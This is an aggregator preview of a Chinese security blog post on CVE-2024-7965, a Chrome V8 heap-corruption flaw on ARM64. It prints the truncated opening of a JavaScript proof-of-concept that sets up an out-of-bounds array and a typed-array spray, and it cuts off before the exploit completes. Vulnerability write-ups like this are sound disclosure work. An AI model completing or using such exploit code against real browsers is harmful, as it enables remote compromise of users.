专栏名称: 渗透安全团队

每个人都有迷茫和快速成长的时期。做技术需要静下心来，两耳不闻窗外事，一心只读圣贤书。一段时间以后就发现窗外那些吵杂的声音早已经没法触动你的心思，这时候就谁也挡不住你成长了。

我也要提交微信公众号

今天看啥

微信公众号rss订阅, 微信rss, 稳定的RSS源

微信公众号RSS订阅方法

B站投稿RSS订阅方法

雪球动态RSS订阅方法

微博RSS订阅方法

微博搜索关键词订阅方法

豆瓣日记 RSS订阅方法

CVE-2024-7965 Chrome 浏览器漏洞

渗透安全团队 · 公众号 · · 2024-09-20 11:39

文章预览

简介： 128.0.6613.84之前的谷歌Chrome V8中不恰当的实现让远程攻击者可以通过精心设计的HTML页面对堆损坏进行潜在的攻击。这是V8中仅在ARM64中出现的漏洞 (Chromium安全级别:高) 代码与分析： var arrx = new Array ( 150 ); arrx[ 0 ] = 1.1 ; var fake = new Uint32Array ( 10 ); fake[ 0 ]= 1 ; fake[ 1 ] = 3 ; fake[ 2 ]= 2 ; fake[ 3 ] = 4 ; fake[ 4 ] = 5 ; fake[ 5 ] = 6 ; fake[ 6 ] = 7 ; fake[ 7 ] = 8 ; fake[ 8 ] = 9 ; var tahir = 0x1 ; function poc ( a ) { var oob_array = new Array ( 5 ); oob_array[ 0 ] = 0x500 ; let just_a_variable = fake[ 0 ]; let another_variable3 = fake[ 7 ]; if (a % 7 == 0 ) another_variable3 = 0xff00000000 ; //spray high bytes another_variable3 = Math .max(another_variable3,tahir); another_variable3 = another_variable3 >>> 0 ; var index = fake[ 3 ]; var for_phi_modes = fake[ 6 ]; let c = fake[ 1 ]; //giant loop for generate ………………………………

原文地址：访问原文地址
快照地址：访问文章快照
总结与预览地址：访问总结与预览

分享到微博